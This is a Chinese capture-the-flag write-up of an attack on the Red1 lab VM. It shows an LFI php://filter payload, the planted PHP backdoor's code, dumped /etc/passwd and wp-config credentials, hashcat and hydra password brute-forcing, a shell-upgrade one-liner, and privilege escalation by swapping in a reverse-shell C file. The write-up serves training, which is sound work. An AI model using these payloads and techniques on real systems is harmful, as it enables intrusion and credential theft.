天天看點

Red1 靶場滲透記錄

Red1 滲透靶場記錄

一、ip

arp-scan掃靶場端口

Red1 靶場滲透記錄

1、攻擊機:Kali ip:192.168.142.128

​ 靶機:? ip:192.168.56.131

開始滲透

一、日常掃端口
Red1 靶場滲透記錄

可以看到靶機開放端口22和80,還有個robots.txt檔案

先打開網頁瞅瞅

Red1 靶場滲透記錄

首頁正常打開,可以看到已經被挂了黑頁~!還留了資訊,說找不到後門,那就說明還是有後門呗

超連結基本打不開,更換ip後,可以正常顯示,應該是DNS的問題,修改一下本機HOST檔案

Red1 靶場滲透記錄
Red1 靶場滲透記錄

嘲諷值拉滿!

二、日常掃目錄

首頁沒有拿到什麼有用的資訊,打開之前掃出來robots.txt檔案,檢視一下也是一個正常頁面,沒發現什麼資訊

既然前面說有網站後門,掃一下php字尾的後門頁面,看看是否能掃到

Red1 靶場滲透記錄

什麼都沒掃到 =。= ||| 貌似卡關了~攻略了下,大佬說web後門用Gobuster掃描,按照大佬說的安裝好工具,重新掃描一下

Red1 靶場滲透記錄

掃到了!大概說明一下兩個工具資訊:

  • SecLists是OWASP維護的一個安全資訊清單集合。該集合包括了用于滲透的各種類型的清單。這些清單包含了237個字典檔案以及常用的Web Shell攻擊載荷。字典檔案類型衆多,包括使用者名、密碼、域名、敏感資料特征碼、模糊測試載荷等
  • Gobuster這款工具基于Go程式設計語言開發,廣大研究人員可使用該工具來對目錄、檔案、DNS和VHost等對象進行暴力破解攻擊

通路一下這個後門php檔案

Red1 靶場滲透記錄

頁面什麼都沒有~~醉了!什麼玩意兒??

看了下控制台,報了500錯誤,猜測請求少傳了參數,wfuzz爆破一下參數名

這地方Fuzz掃一會總是報錯,網上查了一下,是線程太少了的原因,虛拟機限制,沒辦法,又嘗試了其他工具都不行,是以這地方就抄一下大佬的答案吧,參數為key

Red1 靶場滲透記錄
Red1 靶場滲透記錄
Red1 靶場滲透記錄

參數正确且可以通路檔案,但是後門檔案仍然為空,wordPress的配置檔案也為空,攻略了下,學了一招,可以通過filter轉碼base64來檢視網頁源碼

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=wp-config.php
           
Red1 靶場滲透記錄
Red1 靶場滲透記錄
Red1 靶場滲透記錄

首先全部拿去base64解碼,結果如下

後門檔案:

<?php
   $file = $_GET['key'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("NetworkFileManagerPHP.php");
   }
   /* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?>
           

passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
john:x:1000:1000:john:/home/john:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
ippsec:x:1001:1001:,,,:/home/ippsec:/bin/bash
oxdf:x:1002:1002:,,,:/home/oxdf:/bin/bash
           

wp-config.php

<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'john' );

/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define('FS_METHOD', 'direct');

define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY',  'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3}+Y^u!a54 Xc(');
define('LOGGED_IN_KEY',    '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:[email protected]]tO@/N}b}R@+/$+u*pJ|Z(xu-');
define('NONCE_KEY',        ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT',        'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT',   '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@+iZ');
define('NONCE_SALT',       'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[[email protected]');

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

           

一個一個分析吧,首先後門檔案裡面有句注釋也轉碼看看

That password alone won’t help you! Hashcat says rules are rules

譯:單純密碼幫不了你,Hashcat說規則就是規則!

passwd檔案可以看到:john , ippsec,oxdf 有這3個使用者也可以登入

配置檔案:貌似拿到了資料庫使用者名和密碼:define( ‘DB_USER’, ‘john’ );

define( ‘DB_USER’, ‘john’ );

define( ‘DB_PASSWORD’, ‘R3v_m4lwh3r3_k1nG!!’ );

HashCat沒用過,簡單百度學習了下,破解密碼的工具,也可以生成密碼,這裡說按照規則,那應該就是生成密碼,規則是什麼?不太懂,攻略了下,沒看出個是以然,就說用base64,可能跟上面提示有關吧

hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt
           

将密碼存儲pass.txt中,通過-r 規則來将結果輸出到passlist.txt中

Red1 靶場滲透記錄

生成了一大堆,接着九頭蛇登場

九頭蛇萬歲!

Red1 靶場滲透記錄

成功掃出,登入試一下

Red1 靶場滲透記錄

成功登入!開始提權!

home目錄下有一個檔案,cat一下

Red1 靶場滲透記錄

”藍隊的cat指令有一點點麻煩“ - 額。。完全沒有get到什麼意思

還是像之前一樣,查一下root權限檔案

Red1 靶場滲透記錄

我靠!!紅隊還會發來嘲諷!!!哈哈哈哈哈有意思!

Red1 靶場滲透記錄

哈哈哈哈哈~

Red1 靶場滲透記錄

查出一堆,檔案名中沒看出什麼有用的檔案,紅隊還踢我下線,卧槽!!

Red1 靶場滲透記錄

這貨連密碼都每次更改,重新爆破了一下,發現vim 和 cat指令被調換,另外,發現 ippsec這個使用者可以不用密碼執行time檔案,攻略了下,time可以提權

首先得先解決T我下線的這個問題,嘗試反彈shell一下

Red1 靶場滲透記錄

發現反彈shell後,還是會斷掉!我靠!

想要hydra爆破出ippsec的密碼,看ippsec是否被T掉,發現爆破失敗,才想起來,提示的那個密碼是屬于john的,看來隻能用john來登入了

卡關了~~~攻略一下吧

之前提示ippsec這個賬号執行time不需要密碼,是以通過sudo -u ippsec …來切換到了ippsec賬戶上,但是正當執行下一步時,又被T了,很煩

Red1 靶場滲透記錄

繼續攻略~需要建立一個完整互動式shell,據說不會中斷,按照攻略建立一下,先john登入好之後

Red1 靶場滲透記錄

因為總被T,是以快速弄完了,文字描述一下,john登入靶機後,通過

kali監聽

成功反彈shell

更新shell

python3 -c 'import pty;pty.spawn("/bin/bash")' #使用python生成一個完整的shell
export TERM=xterm #這裡按下Ctrl+z傳回一下,設定虛拟終端類型,有什麼用暫不清楚
stty raw -echo;fg #輸入reset, 這裡是設定目前shell透傳指令到反彈shell裡,Ctrl+C不會中斷nc而是直接透傳到新的shell裡
           

這裡其實沒太了解,隻查到了此為更新完整shell的代碼,後續再學習一下吧,有大佬懂的,還請指教一下

需要下載下傳 pspy64s 來檢視靶機運作的程序,尋找一直彈消息的程序和後門

下載下傳好之後,chmod賦權執行,但是這個地方一直死循環,=。=|||| 正在尋找解決辦法,而且反彈shell後,界面好惡心

Red1 靶場滲透記錄

變成了這個樣子,惡心死了~~,其實已經看到backdoor檔案,和網站目錄下的檔案,停不下來就離譜,隻好關掉重新來過

Red1 靶場滲透記錄

supersecretfileuc.c檔案為C語言代碼,可以看到就是彈消息的程式,可以删掉

Red1 靶場滲透記錄

隻讀檔案,不讓删,那就連檔案一起幹掉!!!!

下面去找一個c的提權shell,換成這個名字,放進去,就會自動執行,然後完成提權

Red1 靶場滲透記錄
Red1 靶場滲透記錄

kali中寫好檔案,檔案名supersecretfileuc.c儲存好

Red1 靶場滲透記錄

kali開啟http服務,端口為8000

靶機連接配接下載下傳改檔案

Red1 靶場滲透記錄

靶機會自動執行,按照shell檔案,kali監聽9001端口

Red1 靶場滲透記錄

發現,已經監聽到靶機,成功執行shell檔案

Red1 靶場滲透記錄

提權成功!拔旗!!

滲透結束!